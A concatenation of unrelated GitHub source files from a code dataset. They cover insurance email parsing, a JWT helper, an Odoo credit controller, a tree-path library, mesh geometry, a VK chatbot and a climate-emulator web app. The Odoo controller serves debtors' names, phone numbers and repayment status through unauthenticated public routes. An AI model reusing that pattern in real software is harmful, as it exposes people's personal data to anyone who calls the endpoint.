client\r\n e_mail_client = re.split('\\s', e_mail_client[0])\r\n e_mail_client = e_mail_client[2]\r\n e_mail_client_in_df = df[df['email'].str.contains(e_mail_client)].index.values #find index of client\r\n e_mail_client_in_df_index = e_mail_client_in_df[0]\r\n payment = total_payment_get_sale(body)\r\n df.loc[e_mail_client_in_df_index,'sale_gwp'] = payment #add payment to client row\r\n else:\r\n new_data = {'email' : receiver, 'save_email' : 0, 'get_quote_email' : 0, 'sale_email' : 1,\r\n 'sale_time': received_time}\r\n df.loc[len(df)] = new_data\r\n\r\n#find get quote gwp\r\ndef total_payment_get_quote(body):\r\n #find payment\r\n payment = re.findall(r\"\\d+,\\d+\\s€\", body)\r\n payment = re.split('\\s', payment[0])\r\n payment = payment[0]\r\n payment = payment.replace(',', '.')\r\n \r\n #find period of payment\r\n period = re.findall(r\"(vierteljährlich|halbjährlich|jährlich|monatlich)\", body)\r\n period = period[0]\r\n\r\n #find if at or de\r\n country = re.findall(r\"Mitteilung §§16ff VersVG AT\", body)\r\n if len(country) > 0:\r\n country = 'Austria'\r\n else:\r\n country = 'Germany'\r\n \r\n #remove tax from payment\r\n if country == 'Germany':\r\n net_payment = float(payment) / 1.19\r\n if country == 'Austria':\r\n net_payment = float(payment) / 1.11\r\n\r\n #multiply by period\r\n if period == 'vierteljährlich':\r\n period = 4\r\n if period == 'jährlich':\r\n period = 1\r\n if period == 'monatlich':\r\n period = 12\r\n if period == 'halbjährlich':\r\n period = 2\r\n\r\n total_payment = net_payment * period\r\n total_payment = round(total_payment, 2)\r\n\r\n return total_payment\r\n\r\n#find sale gwp\r\ndef total_payment_get_sale(body):\r\n #find payment\r\n payment = re.findall(r\"\\d+,\\d+\\s€\\s.+inkl. Versicherungssteuer.\", body)\r\n payment = re.split('\\s', payment[0])\r\n payment = payment[0].replace(',', '.')\r\n\r\n #find period of payment\r\n period = re.findall(r\"\\d+,\\d+\\s€\\s.+inkl. Versicherungssteuer.\", body)\r\n period = re.split('\\s', period[0])\r\n period = period[2]\r\n\r\n #find if at or de\r\n country = re.findall(r\"Firmensitz.+(Deutschland|Österreich)\", body)\r\n country = re.split('\\s', country[0])\r\n country = country[0]\r\n \r\n #remove tax from payment\r\n if country == 'Deutschland':\r\n net_payment = float(payment) / 1.19\r\n if country == 'Österreich':\r\n net_payment = float(payment) / 1.11\r\n\r\n #multiply by period\r\n if period == 'vierteljährlich':\r\n period = 4\r\n if period == 'jährlich':\r\n period = 1\r\n if period == 'monatlich':\r\n period = 12\r\n if period == 'halbjährlich':\r\n period = 2\r\n\r\n total_payment = net_payment * period\r\n total_payment = round(total_payment, 2)\r\n\r\n return total_payment\r\n\r\ndef telephone_number(body):\r\n tel_num = re.findall(r\"Telefonnummer\\s+?.+\\san\", body)\r\n tel_num = re.split('\\s', tel_num[0])\r\n tel_num.pop(-1)\r\n tel_num.pop(0)\r\n tel_num = ' '.join(tel_num)\r\n return tel_num\r\n\r\n\r\n\"\"\"\r\ncrawl = folder_crawler()\r\nopen_transform_message(crawl)\r\nprint(df)\"\"\"\r\n","repo_name":"stoermerj/cio_crawler","sub_path":"open_transform.py","file_name":"open_transform.py","file_ext":"py","file_size_in_byte":6357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18901299601","text":"n,k=map(int,input().split())\nhamlist=list(input())\ncnt=0\nfor i in range(len(hamlist)):\n if hamlist[i]=='P':\n for j in range(max(0,i-k),min(n,i+k+1)):\n if hamlist[j]=='H':\n hamlist[j]='eat'\n cnt+=1\n break\n\nprint(cnt)","repo_name":"rawfishthelgh/codetest","sub_path":"백준 문제모음/백준19941.py","file_name":"백준19941.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19340415288","text":"import jwt\nimport flask\nimport os\n\n\nJWT_COOKIE_NAME = os.environ.get('JWT_COOKIE_NAME')\nJWT_SECRET = os.environ.get('JWT_SECRET')\n\n\ndef user_to_jwt(user):\n \"\"\" Converts a user object to a token.\n The secret is used from an environment variable. \"\"\"\n\n assert JWT_SECRET is not None\n return user_and_secret_to_jwt(user, JWT_SECRET)\n\n\ndef jwt_to_user(token):\n \"\"\" Converts a JWT token to a user object.\n The secret is used from an environment variable. \"\"\"\n\n assert JWT_SECRET is not None\n return jwt_and_secret_to_user(token, JWT_SECRET)\n\n\ndef jwt_cookie_to_user():\n \"\"\" Converts a JWT token from a cookie value to a user object.\n The secret and the cookie name are used from an environment variable. \"\"\"\n\n flexess_jwt = flask.request.cookies.get(JWT_COOKIE_NAME)\n if flexess_jwt is None:\n return None\n else:\n return jwt_to_user(flexess_jwt)\n\n\ndef user_and_secret_to_jwt(user, secret):\n \"\"\" Converts a user object and a secret to a token. \"\"\"\n\n jwt_payload = {'sub': user['userid'], 'name': user['name'], 'roles': user['roles'] }\n encoded = jwt.encode(jwt_payload, secret, algorithm='HS256')\n return encoded\n\n\ndef jwt_and_secret_to_user(token, secret):\n \"\"\" Converts a JWT token and a secret to a user object. \"\"\"\n\n decoded = jwt.decode(token, secret, algorithms=['HS256']);\n user = {}\n user['userid'] = decoded['sub']\n user['name'] = decoded['name']\n user['roles'] = decoded['roles']\n\n return user\n\n\n","repo_name":"embarced/micro-moves","sub_path":"modules/players/web_token.py","file_name":"web_token.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"42647804535","text":"# -*- coding: utf-8 -*-\nfrom odoo import http, models, fields\nfrom odoo.http import request\nimport json\n\nclass Credito(http.Controller):\n @http.route('/kredito/getDebitur', auth='public', method=['GET'])\n def getBarang(self, **kwargs):\n list_debitur = request.env['kredit.debitur'].search([])\n val = []\n for ktr in list_debitur:\n val.append({\n 'nama_debitur': ktr.debitur_name,\n 'pekerjaan_debitur': ktr.debitur_job,\n 'nomor_hp_debitur': ktr.debitur_phone_number,\n 'status_pelunasan_debitur': ktr.debitur_status\n })\n return json.dumps(val)\n\n @http.route('/kredito/getKreditur', auth='public', method=['GET'])\n def getSupplier(self, **kwargs):\n list_kreditur = request.env['kredit.kreditur'].search([])\n val = []\n for ktr in list_kreditur:\n val.append({\n 'nama_kreditur': ktr.kreditur_name,\n 'status_kreditur': ktr.kreditur_status,\n 'total_debitur_kreditur': ktr.total_debitur,\n 'total_barang_kreditur': ktr.total_barang\n })\n return json.dumps(val)","repo_name":"hafifamudi/odoo_project_training","sub_path":"controllers/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"38011506144","text":"import Strategy as strat\nimport PlayableColorStrategy as pcs\n\nclass MostPrevalentBagColorStrategy(pcs.PlayableColorStrategy):\n \"\"\"\n MostPrevalentBagColorStrategy - choose the color that is most prevalent on\n the whole board. Temper it with the PlayableColorStrategy.\n \"\"\"\n\n def evaluate(self, options, board, game = None):\n # get the set of evaluations from the parent\n playlist = super().evaluate(options, board, game)\n # then put together a set of evaluations for this strategy\n prevailingcolors = game.bag.colorcounts()\n mincount = 20 # Find the baseline color count to normalize\n for color in prevailingcolors.keys():\n mincount = min(mincount, prevailingcolors[color])\n # print(\"prevailing colors in bag = \" + str(prevailingcolors))\n evals = []\n for potentialplay in playlist:\n color = potentialplay[1]\n if color in prevailingcolors:\n rankval = prevailingcolors[color] - mincount + 1\n modplay = potentialplay[0:3] + \"_\" + str(rankval)\n evals.append(modplay)\n evals.sort(key=strat.getcount2, reverse=True)\n # print(\"MPBCS evals = \" + str(evals))\n return(evals)\n\n def recommend(self, options, board, game = None):\n evals = self.evaluate(options, board, game)\n if len(evals) > 0:\n return(evals[0])\n else:\n return (None)\n","repo_name":"fitzscott/Azul","sub_path":"MostPrevalentBagColorStrategy.py","file_name":"MostPrevalentBagColorStrategy.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28141239787","text":"import itertools\nfrom fnmatch import fnmatchcase\nfrom typing import Optional, TypeVar, Iterable, Iterator, Tuple\n\nTNode = TypeVar(\"TNode\", bound=\"BaseNode\")\n\n\nclass NodePath:\n __slots__ = \"_node\"\n\n # Can be overriden by child classes\n separator = \"/\"\n\n def __init__(self, node: TNode):\n \"\"\"Do not instantiate directly, use node.path instead.\"\"\"\n self._node = node\n\n def __call__(self, path) -> TNode:\n if isinstance(path, str):\n path = path.split(self.separator)\n node = self._node\n for segment in path:\n node = node._cdict[segment]\n return node\n\n def __eq__(self, other):\n if not isinstance(other, NodePath):\n return False\n if len(self) != len(other):\n return False\n return all(s1.identifier == s2.identifier for s1, s2 in zip(self, other))\n\n def __str__(self) -> str:\n separator = self.separator\n return separator + separator.join([str(node.identifier) for node in self])\n\n def __len__(self) -> int:\n return 1 + sum(1 for _ in self._node.iter_ancestors())\n\n def __iter__(self) -> Iterator[TNode]:\n \"\"\"Iterate through nodes on path.\"\"\"\n node = self._node\n return itertools.chain(reversed(tuple(node.iter_ancestors())), [node])\n\n def __reversed__(self) -> Iterator[TNode]:\n node = self._node\n return itertools.chain([node], node.iter_ancestors())\n\n def get(self, path) -> Optional[TNode]:\n \"\"\"Like calling path, but return None if node is missing.\"\"\"\n try:\n return self(path)\n except KeyError:\n return None\n\n def create(self, path) -> TNode:\n \"\"\"Like get, but create missing nodes.\"\"\"\n if isinstance(path, str):\n path = path.split(self.separator)\n\n node = self._node\n path = iter(path)\n\n try:\n for segment in path:\n node = node[segment]\n except KeyError:\n node = self._create_node(identifier=segment, parent=node)\n\n for segment in path:\n node = self._create_node(identifier=segment, parent=node)\n\n return node\n\n def _create_node(self, identifier, parent: TNode) -> TNode:\n \"\"\"Subclasses can overwrite this if the construction of a Node is different.\"\"\"\n node = self._node.__class__()\n node.identifier = identifier\n node.parent = parent\n return node\n\n def glob(self, path) -> Iterable[TNode]:\n \"\"\"\n Find nodes by globbing patterns.\n\n For example to find all nodes that start with 'a':\n node.path.glob(\"**/a*\")\n \"\"\"\n\n if isinstance(path, str):\n path = path.split(self.separator)\n\n nodes = {id(self._node): self._node}\n for segment in path:\n if segment == \"**\":\n nodes = {id(node): node\n for candidate in nodes.values()\n for node in candidate.iter_tree()}\n elif segment == \"\":\n nodes = {id(node): node\n for node in nodes.values()\n if not node.is_leaf}\n elif self._is_pattern(segment):\n nodes = {id(node): node\n for candidate in nodes.values()\n for node in candidate.children\n if fnmatchcase(str(node.identifier), segment)}\n else:\n nodes = {id(candidate[segment]): candidate[segment]\n for candidate in nodes.values()\n if segment in candidate}\n\n return nodes.values()\n\n @staticmethod\n def _is_pattern(segment) -> bool:\n \"\"\"Check if segment is a pattern. If not direct access is much faster.\"\"\"\n return isinstance(segment, str) and any(char in segment for char in \"*?[\")\n\n def to(self, other) -> Optional[\"PathTo\"]:\n \"\"\"Return the path if nodes are in the same tree, else None\"\"\"\n s_path, o_path = tuple(self), tuple(other.path)\n\n n_common = 0\n n_max = min(len(s_path), len(o_path))\n while n_common < n_max and s_path[n_common] == o_path[n_common]:\n n_common += 1\n\n if n_common:\n return PathTo(s_path, o_path, n_common)\n\n\nclass PathTo:\n __slots__ = \"_path1\", \"_path2\", \"_ncommon\"\n\n def __init__(self, path1, path2, n_common):\n \"\"\"Do not instantiate directly. Use node1.path.to(node2) instead.\"\"\"\n self._path1 = path1\n self._path2 = path2\n self._ncommon = n_common\n\n def __iter__(self) -> Iterator[TNode]:\n n_common = self._ncommon\n n_up = len(self._path1) - n_common\n up = itertools.islice(reversed(self._path1), n_up)\n down = itertools.islice(self._path2, n_common - 1, None)\n return itertools.chain(up, down)\n\n def __reversed__(self) -> Iterable[TNode]:\n n_common = self._ncommon\n n_up = len(self._path2) - n_common\n up = itertools.islice(reversed(self._path2), n_up)\n down = itertools.islice(self._path1, n_common - 1, None)\n return itertools.chain(up, down)\n\n def __len__(self):\n return len(self._path1) + len(self._path2) - 2 * self._ncommon + 1\n\n def __str__(self):\n sep = self.lca.path.separator\n output = []\n n_up = len(self._path1) - self._ncommon\n down = itertools.islice(self._path2, self._ncommon, None)\n output.extend(n_up * [\"..\"])\n output.extend([node.identifier for node in down])\n return sep.join(output)\n\n @property\n def lca(self) -> TNode:\n \"\"\"Find the lowest common ancestor of both nodes.\"\"\"\n return self._path1[self._ncommon - 1]\n","repo_name":"lverweijen/littletree","sub_path":"littletree/nodepath.py","file_name":"nodepath.py","file_ext":"py","file_size_in_byte":5729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22040427379","text":"__author__ = \"Christian Kongsgaard\"\n__license__ = \"MIT\"\n__version__ = \"0.0.1\"\n\n# -------------------------------------------------------------------------------------------------------------------- #\n# Imports\n\n# Module imports\nimport shapely\nfrom shapely.geometry import Polygon\nimport shapefile\nimport numpy as np\nfrom numpy.linalg import norm\nimport pymesh\n\n# Livestock imports\n\n\n# -------------------------------------------------------------------------------------------------------------------- #\n# Livestock Geometry Functions\n\ndef fix_mesh(mesh, detail=\"normal\"):\n\n bbox_min, bbox_max = mesh.bbox\n diag_len = norm(bbox_max - bbox_min)\n\n if detail == \"normal\":\n target_len = diag_len * 1e-2\n\n elif detail == \"high\":\n target_len = diag_len * 5e-3\n\n elif detail == \"low\":\n target_len = diag_len * 0.03\n\n print(\"Target resolution: {} mm\".format(target_len))\n\n count = 0\n mesh, __ = pymesh.remove_degenerated_triangles(mesh, 100)\n mesh, __ = pymesh.split_long_edges(mesh, target_len)\n num_vertices = mesh.num_vertices\n\n while True:\n mesh, __ = pymesh.collapse_short_edges(mesh, 1e-6)\n mesh, __ = pymesh.collapse_short_edges(mesh, target_len, preserve_feature=True)\n mesh, __ = pymesh.remove_obtuse_triangles(mesh, 150.0, 100)\n\n if mesh.num_vertices == num_vertices:\n break\n\n num_vertices = mesh.num_vertices\n print(\"#v: {}\".format(num_vertices))\n count += 1\n if count > 10:\n break\n\n mesh = pymesh.resolve_self_intersection(mesh)\n mesh, __ = pymesh.remove_duplicated_faces(mesh)\n mesh = pymesh.compute_outer_hull(mesh)\n mesh, __ = pymesh.remove_duplicated_faces(mesh)\n mesh, __ = pymesh.remove_obtuse_triangles(mesh, 179.0, 5)\n mesh, __ = pymesh.remove_isolated_vertices(mesh)\n\n return mesh\n\n\ndef ray_triangle_intersection(ray_near, ray_dir, V):\n \"\"\"\n Möller–Trumbore intersection algorithm in pure python\n Based on http://en.wikipedia.org/wiki/M%C3%B6ller%E2%80%93Trumbore_intersection_algorithm\n \"\"\"\n\n v1 = V[0]\n v2 = V[1]\n v3 = V[2]\n eps = 0.000001\n edge1 = v2 - v1\n edge2 = v3 - v1\n pvec = np.cross(ray_dir, edge2)\n det = edge1.dot(pvec)\n\n if abs(det) < eps:\n return False, None\n\n inv_det = 1. / det\n tvec = ray_near - v1\n u = tvec.dot(pvec) * inv_det\n if u < 0. or u > 1.:\n return False, None\n\n qvec = np.cross(tvec, edge1)\n v = ray_dir.dot(qvec) * inv_det\n if v < 0. or u + v > 1.:\n return False, None\n\n t = edge2.dot(qvec) * inv_det\n if t < eps:\n return False, None\n\n return True, t\n\n\ndef lowest_face_vertex(v0, v1, v2):\n\n V = [v0, v1, v2]\n x0 = v0[0]\n y0 = v0[1]\n z0 = v0[2]\n x1 = v1[0]\n y1 = v1[1]\n z1 = v1[2]\n x2 = v2[0]\n y2 = v2[1]\n z2 = v2[2]\n X = [x0, x1, x2]\n Y = [y0, y1, y2]\n Z = [z0, z1, z2]\n\n\n Zsort = sorted(Z)\n\n if Zsort[0] == Zsort[2]:\n return np.array([sum(X)/3, sum(Y)/3, sum(Z)/3])\n\n elif Zsort[0] < Zsort[1]:\n i = Z.index(Zsort[0])\n return V[i]\n\n elif Zsort[0] == Zsort[1]:\n i0 = Z.index(Zsort[0])\n i1 = Z.index(Zsort[1])\n x = 0.5*(X[i0] + X[i1])\n y = 0.5*(Y[i0] + Y[i1])\n return np.array([x, y, Zsort[0]])\n\n else:\n print('Error finding lowest point!')\n print('v0:',v0)\n print('v1:', v1)\n print('v2:', v2)\n return None\n\n\ndef angle_between_vectors(v1, v2, force_angle=None):\n \"\"\"\n Computes the angle between two vectors.\n :param v1: Vector1 as numpy array\n :param v2: Vector2 as numpy array\n :param force_angle: Default is None. Use to force angle into acute or obtuse.\n :return: Angle in radians and its angle type.\n \"\"\"\n\n # Dot product\n dot_v1v2 = np.dot(v1, v2)\n\n # Determine angle type\n if dot_v1v2 > 0:\n angle_type = 'acute'\n\n elif dot_v1v2 == 0:\n return np.pi/2, 'perpendicular'\n\n else:\n angle_type = 'obtuse'\n\n # Vector magnitudes and compute angle\n mag_v1 = np.sqrt(v1.dot(v1))\n mag_v2 = np.sqrt(v2.dot(v2))\n angle = np.arccos(abs(dot_v1v2 / (mag_v1 * mag_v2)))\n\n # Compute desired angle type\n if not force_angle:\n return angle, angle_type\n\n elif force_angle == 'acute':\n if angle_type == 'acute':\n return angle, 'acute'\n else:\n angle = np.pi - angle\n return angle, 'acute'\n\n elif force_angle == 'obtuse':\n if angle > np.pi/2:\n return angle, 'obtuse'\n else:\n angle = np.pi - angle\n return angle, 'obtuse'\n else:\n print('force_angle has to be defined as None, acute or obtuse. force_angle was:', str(force_angle))\n return None, None\n\n\ndef line_intersection(p1, p2, p3, p4):\n \"\"\"\n Computes the intersection between two lines given 4 points on those lines.\n :param p1: Numpy array. First point on line 1\n :param p2: Numpy array. Second point on line 1\n :param p3: Numpy array. First point on line 2\n :param p4: Numpy array. Second point on line 2\n :return: Numpy array. Intersection point\n \"\"\"\n\n # Direction vectors\n v1 = (p2 - p1)\n v2 = (p4 - p3)\n\n # Cross-products and vector norm\n cv12 = np.cross(v1, v2)\n cpv = np.cross((p1 - p3), v2)\n t = norm(cpv) / norm(cv12)\n\n return p1 + t * v1\n\n\ndef obj_to_lists(obj_file: str)-> tuple:\n \"\"\"Convert a obj file into lists\"\"\"\n\n # Initialization\n vertices = []\n normals = []\n faces = []\n file = open(obj_file, 'r')\n lines = file.readlines()\n file.close()\n\n # Find data\n for line in lines:\n if line.startswith('v '):\n data = line.split(' ')\n vertices.append((float(data[1]), float(data[2]), float(data[3].strip())))\n\n elif line.startswith('vn'):\n data = line.split(' ')\n normals.append((float(data[1]), float(data[2]), float(data[3].strip())))\n\n elif line.startswith('f'):\n data = line.split(' ')\n d = []\n for elem in data[1:]:\n d.append((int(e) for e in elem.strip().split('/')))\n\n faces.append(d)\n\n else:\n pass\n\n return vertices, normals, faces\n\n\ndef obj_to_polygons(obj_file: str) -> list:\n \"\"\"Convert a obj file into a list of shapely polygons\"\"\"\n\n vertices, normals, faces = obj_to_lists(obj_file)\n\n polygons = []\n for face in faces:\n face_vertices = []\n for vertex, _, __ in face:\n face_vertices.append(vertices[vertex-1])\n\n polygons.append(Polygon(face_vertices))\n\n return polygons\n\n\ndef shapely_to_pyshp(shapely_geometry):\n \"\"\"This function converts a shapely geometry into a geojson and then into a pyshp object.\n Copied from Karim Bahgat's answer at:\n https://gis.stackexchange.com/questions/52705/how-to-write-shapely-geometries-to-shapefiles\"\"\"\n\n # first convert shapely to geojson\n try:\n shapelytogeojson = shapely.geometry.mapping\n except:\n import shapely.geometry\n shapelytogeojson = shapely.geometry.mapping\n geoj = shapelytogeojson(shapely_geometry)\n\n # create empty pyshp shape\n record = shapefile._Shape()\n\n # set shapetype\n if geoj[\"type\"] == \"Null\":\n pyshp_type = 0\n elif geoj[\"type\"] == \"Point\":\n pyshp_type = 1\n elif geoj[\"type\"] == \"LineString\":\n pyshp_type = 3\n elif geoj[\"type\"] == \"Polygon\":\n pyshp_type = 5\n elif geoj[\"type\"] == \"MultiPoint\":\n pyshp_type = 8\n elif geoj[\"type\"] == \"MultiLineString\":\n pyshp_type = 3\n elif geoj[\"type\"] == \"MultiPolygon\":\n pyshp_type = 5\n\n record.shapeType = pyshp_type\n\n # set points and parts\n if geoj[\"type\"] == \"Point\":\n record.points = geoj[\"coordinates\"]\n record.parts = [0]\n\n elif geoj[\"type\"] in (\"MultiPoint\", \"Linestring\"):\n record.points = geoj[\"coordinates\"]\n record.parts = [0]\n\n elif geoj[\"type\"] in \"Polygon\":\n record.points = geoj[\"coordinates\"][0]\n record.parts = [0]\n\n elif geoj[\"type\"] in (\"MultiPolygon\", \"MultiLineString\"):\n index = 0\n points = []\n parts = []\n for each_multi in geoj[\"coordinates\"]:\n points.extend(each_multi[0])\n parts.append(index)\n index += len(each_multi[0])\n\n record.points = points\n record.parts = parts\n\n return record\n\n\ndef obj_to_shp(obj_file, shp_file):\n \"\"\"Convert a obj file into a shape file\"\"\"\n\n polygons = obj_to_polygons(obj_file)\n\n shape_writer = shapefile.Writer()\n shape_writer.field('mesh')\n\n for index, polygon in enumerate(polygons):\n converted_shape = shapely_to_pyshp(polygon)\n shape_writer._shapes.append(converted_shape)\n shape_writer.record('face_' + str(index))\n\n shape_writer.save(shp_file)\n\n return True\n","repo_name":"ocni-dtu/livestock_linux","sub_path":"geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":8876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32211473405","text":"import os\nimport random\nimport vk_api as vk\nimport logging\nimport telegram\n\nfrom dotenv import load_dotenv\nfrom vk_api.longpoll import VkLongPoll, VkEventType\n\nfrom services import create_session, get_response, TelegramLogsHandler\n\nlogger = logging.getLogger(__name__)\n\n\ndef reply_to_user(project_id, event, vk_api):\n session, session_client = create_session(project_id, str(event.user_id))\n answer, is_fallback = get_response(session, session_client, event.text, 'ru')\n if not is_fallback and answer:\n vk_api.messages.send(user_id=event.user_id, message=answer, random_id=random.randint(1, 1000))\n\n\ndef main():\n load_dotenv()\n token = os.getenv(\"VK_TOKEN\")\n log_bot_token = os.getenv(\"TG_LOGS_TOKEN\")\n chat_id = os.getenv('CHAT_ID')\n project_id = os.getenv('PROJECT_ID')\n vk_session = vk.VkApi(token=token)\n vk_api = vk_session.get_api()\n longpoll = VkLongPoll(vk_session)\n\n bot = telegram.Bot(token=log_bot_token)\n\n logger.addHandler(TelegramLogsHandler(bot, chat_id))\n logger.setLevel(logging.INFO)\n\n for event in longpoll.listen():\n if event.type == VkEventType.MESSAGE_NEW and event.to_me:\n try:\n reply_to_user(project_id, event, vk_api)\n except Exception as e:\n logger.exception(f\"Ошибка при обработке сообщения: {e}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"YuraML/speech_recognition","sub_path":"vk_bot.py","file_name":"vk_bot.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14936758858","text":"\"\"\"\nWebapp to host climate emulator. From anthropogenic greenhouse gases\n to surface temperature anomalies.\n\nCall via \n$ conda activate emcli\n$ streamlit run run_climate_pocket_webapp.py\n\"\"\"\nimport pickle # store and load compressed data\nfrom pathlib import Path\nimport numpy as np\nimport streamlit as st\nimport matplotlib.pyplot as plt\nimport cartopy.crs as ccrs # plot_tas_annual_local_err_map\nimport matplotlib.colors as colors # plot_tas_annual_local_err_map\n\nfrom emcli.dataset.climatebench import load_climatebench_data\nimport emcli.models.pattern_scaling.model as ps\nfrom emcli.dataset.interim_to_processed import calculate_global_weighted_average\nfrom emcli.dataset.interim_to_processed import calculate_global_weighted_average_np\n\ndef run_model(co2_selected, \n model_global_co2_to_global_tas, \n model_global_tas_to_local_tas):\n \"\"\"\n Runs model to compute a map of predicted surface temperature anomalies\n given the selected co2.\n Args:\n co2_selected float: Selected cumulative co2 emissions\n model_global_co2_to_global_tas: model that maps global co2 to global tas\n model_global_tas_to_local_tas: model that maps global tas to local tas)\n Returns:\n preds numpy.array(n_lat, n_lon): predicted surface temperature anomaly since 1850 \n under the selected cumulative co2 emissions\n preds_global_tas (1): predicted global surface temperature anomaly since 1850\n \"\"\"\n # Run model to map selected global co2 from input onto global tas\n co2_selected = np.array([[co2_selected,]])# (n_time,in_channels)\n preds_global_tas = model_global_co2_to_global_tas.predict(co2_selected) # (n_time, out_channels)\n preds_global_tas = preds_global_tas[:,0] # \n\n # Map global tas onto local tas\n preds = model_global_tas_to_local_tas.predict(preds_global_tas) # (n_time, n_lat, n_lon)\n preds = preds.mean(axis=0) # (n_lat, n_lon)\n\n return preds\n\n# Store compressed version of data that can be loaded on external app\ndef store_compressed_data(dir_compressed_data, filename_compressed_data):\n cache = dict()\n\n # Load climatebench data to get dimensions and baseline\n cache['baseline_scenario'] = 'ssp245'\n len_historical = 165\n data_path = './data/raw/climatebench/' # use 'climate-emulator-tutorial/' on colab and '../' on local machine\n X_input, Y_target = load_climatebench_data(\n simus=[cache['baseline_scenario']], len_historical=len_historical, \n data_path=data_path)\n\n # Get lat, lon for map plotting\n cache['lat'] = Y_target[0]['tas'].latitude.data\n cache['lon'] = Y_target[0]['tas'].longitude.data\n # Define input slider bounds\n cache['co2min'] = X_input[0]['CO2'].min().data.item() # Convert to python 'class' float\n cache['co2max'] = 2 * X_input[0]['CO2'].max().data.item()\n cache['co2today'] = X_input[0]['CO2'].sel(time=slice(\"2010\", \"2020\")).mean(dim=\"time\").data.item()\n\n # Get baseline\n tas_baseline = Y_target[0]['tas'].sel(time=slice(\"1850\", \"1880\")).mean(dim=\"time\")\n cache['tas_baseline'] = tas_baseline.data\n cache['tas_global_baseline'] = calculate_global_weighted_average(tas_baseline)\n\n # Store data\n Path(dir_compressed_data).mkdir(parents=True, exist_ok=True)\n path = dir_compressed_data + filename_compressed_data\n with open(path,'wb') as f:\n pickle.dump(cache,f)\n\n return cache\n\n# Load data into cache\n@st.cache_data\ndef load_cache():\n # Set False for deployment. If False, loads compressed baseline data. \n # Set True for development. If True, loads raw baseline data \n # (from climatebench) and stores a compressed version that can be \n # stored on git and loaded on webapp. Note, that changes in \n # store_compressed_data() are not automatically recognized. Workaround\n # is to add a dummy print statement into load_cache whenever store_\n # compressed_data is changed.\n RUN_OFFLINE = False\n\n # Load data of baseline scenario.\n dir_compressed_data = './data/processed/climatebench/webapp/'\n filename_compressed_data = 'cache_climatebench_ssp245_baseline.pkl'\n if RUN_OFFLINE == True:\n st.write('++++++++++++++++++++++++++++++++++++++++++')\n st.write('# WARNING running offline.')\n st.write('Change RUN_OFFLINE before commit to external.')\n st.write('++++++++++++++++++++++++++++++++++++++++++')\n cache = store_compressed_data(\n dir_compressed_data,\n filename_compressed_data)\n else:\n # Load data from file\n path = dir_compressed_data + filename_compressed_data\n with open(path, 'rb') as f:\n cache = pickle.load(f)\n\n # Load model global co2 to global tas\n path_model = Path('./runs/pattern_scaling/default/models/global_co2_to_global_tas.pkl')\n cache['model_global_co2_to_global_tas'] = ps.load(dir=str(path_model.parent)+'/', \n filename=str(path_model.name))\n\n # Load model global tas to local tas\n path_model = Path('./runs/pattern_scaling/default/models/global_tas_to_local_tas.pkl')\n cache['model_global_tas_to_local_tas'] = ps.load(dir=str(path_model.parent)+'/', filename=str(path_model.name))\n \n # Get the bounds of the colormap given the min, max values of the slider\n tasmin = run_model(cache['co2min'],\n cache['model_global_co2_to_global_tas'],\n cache['model_global_tas_to_local_tas'])\n cache['tasmin'] = tasmin.min().item()\n tasmax = run_model(cache['co2max'],\n cache['model_global_co2_to_global_tas'],\n cache['model_global_tas_to_local_tas'])\n tasmax = np.min((tasmax.max(), 10.)) # Cut-off max temp at 10°C because I saw \n # outliers at 14°C in the data and it skews the colormap\n cache['tasmax'] = tasmax.item() # convert to class 'float'\n\n # Create figure with cartopy projection\n cache['fig'], cache['axs'] = plt.subplots(figsize=(6,4), \n subplot_kw=dict(projection=ccrs.Robinson()),\n dpi=200)\n return cache\n\nif __name__ == \"__main__\":\n # Main function, which is run for every change on the webpage\n\n st.write(\"\"\"\n # BC3 Climate Pocket: CO2 -> Temp.\n This app is NOT ready for deployment and just a demo of ML-based climate emulators.\n \"\"\")\n\n # Get the data from the cache\n cache = load_cache()\n\n st.write(f\"\"\"\n In 2019, the global temperature increase from 1850 was approx. 1.07°C and we had already emitted 2390 gigatons of carbondioxide (GtCO2) [Src: IPCC AR6].\n ##### Set the cumulative CO2 emissions since 1850 (in GtCO2) to\n \"\"\")\n\n # Create a slider to retrieve input selection, e.g., global co2\n co2_selected = st.slider('cumulative CO2 emissions (GtCO2)', \n min_value=cache['co2min'], \n max_value=cache['co2max'], \n value=cache['co2today'],\n label_visibility='collapsed')\n\n preds = run_model(co2_selected,\n cache['model_global_co2_to_global_tas'],\n cache['model_global_tas_to_local_tas'])\n\n # Compute tas difference to baseline\n diff = preds - cache['tas_baseline']\n\n # Calculate global avg of predicted map\n preds_global_tas = calculate_global_weighted_average_np(preds[None,...], cache['lat'])\n\n # Plot ground-truth surface temperature anomalies using cartopy\n st.write(f\"\"\"\n ##### and the model predicts a temperature increase until 2100 of: {preds_global_tas[0]:.2f}°C:\n \"\"\")\n\n # Create discrete colorbar, centered around 0\n color_boundaries_neg = np.round(np.linspace(cache['tasmin'], -0.20, 7)*5.)/5. # , e.g., *4/4 rounds to closest 0.25\n color_boundaries_pos = np.round(np.linspace(0.5, cache['tasmax'], 7)*2.)/2. # *2/2 rounds to closest 0.5 \n color_boundaries = np.hstack((color_boundaries_neg, color_boundaries_pos))\n # print('color_boundaries', color_boundaries, color_boundaries_neg.shape, color_boundaries_pos.shape)\n cnorm = colors.BoundaryNorm(boundaries=color_boundaries, ncolors=256)\n\n # Plot values\n mesh = cache['axs'].pcolormesh(cache['lon'], cache['lat'], diff, cmap='coolwarm', norm=cnorm, transform=ccrs.PlateCarree())\n cbar = plt.colorbar(mesh, 